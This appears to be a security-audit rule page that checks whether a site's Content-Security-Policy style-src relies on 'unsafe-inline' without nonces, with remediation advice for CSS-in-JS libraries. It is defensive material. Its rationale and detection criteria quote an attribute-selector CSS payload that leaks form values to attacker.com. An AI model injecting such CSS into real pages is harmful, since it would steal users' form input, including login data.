Skip to main content

style-src does not use unsafe-inline without nonces

ab-002433 · security-headers-ii.csp-quality.style-src-nonces
Severity: lowactive

Why it matters

CSS injection with 'unsafe-inline' in style-src enables attribute-selector-based data exfiltration: input[value^='a'] { background: url(https://attacker.com/a) } leaks form values one character at a time without executing any JavaScript. This technique bypasses script-only XSS filters and works in environments with strict JS restrictions. CWE-79 applies to CSS-based data exfiltration, and CWE-693 covers the protection gap created by 'unsafe-inline'. OWASP A03 lists CSS injection as a distinct injection category, not merely a subcategory of script injection.

Severity rationale

Low because CSS injection cannot directly execute code but can exfiltrate sensitive form data character-by-character via selector-based side channels, making it a meaningful privacy risk for authentication forms.

Remediation

Migrate inline styles to nonce-gated style-src. Most CSS-in-JS libraries (styled-components, Emotion, vanilla-extract) support nonce injection through their server-rendering configuration.

Content-Security-Policy: style-src 'self' 'nonce-{perRequest}'

For styled-components, pass the nonce via the ServerStyleSheet API. For Emotion, configure the nonce option in createEmotionServer. Remove 'unsafe-inline' only after verifying all inline styles are nonce-tagged or migrated to external stylesheets — check the browser console for CSP violations before deploying.

Detection

  • ID: security-headers-ii.csp-quality.style-src-nonces

  • Severity: low

  • What to look for: Parse the CSP header for the style-src directive. CSS injection is lower risk than script injection but can enable data exfiltration via CSS selectors (e.g., input[value^="a"] { background: url(attacker.com/a) }). Check whether style-src uses 'unsafe-inline' and whether nonces or hashes are present.

  • Pass criteria: style-src uses nonces/hashes, OR does not include 'unsafe-inline' — 0% of style-src sources should be 'unsafe-inline' without a nonce. Count the number of style-src sources and quote the full style-src value in the report.

  • Fail criteria: style-src includes 'unsafe-inline' without any nonce or hash.

  • Do NOT pass when: style-src has 'unsafe-inline' without any nonce — even if the project uses a CSS-in-JS library. The nonce approach works with most CSS-in-JS solutions.

  • Skip (N/A) when: No Content-Security-Policy header configured. Run Security Headers & Basics first.

  • Detail on fail: "style-src includes 'unsafe-inline' without nonces — CSS injection can enable data exfiltration via selector-based attacks" or "style-src 'self' 'unsafe-inline' — unsafe-inline weakens CSS injection protection"

  • Remediation: CSS injection can exfiltrate data using attribute selectors. Migrate from 'unsafe-inline' to nonces for inline styles:

    style-src 'self' 'nonce-abc123'
    

    For CSS-in-JS libraries (styled-components, emotion), configure them to use the nonce attribute. Most modern CSS-in-JS libraries support nonce injection. This is lower priority than script-src nonces but still worth addressing.

External references

Taxons

History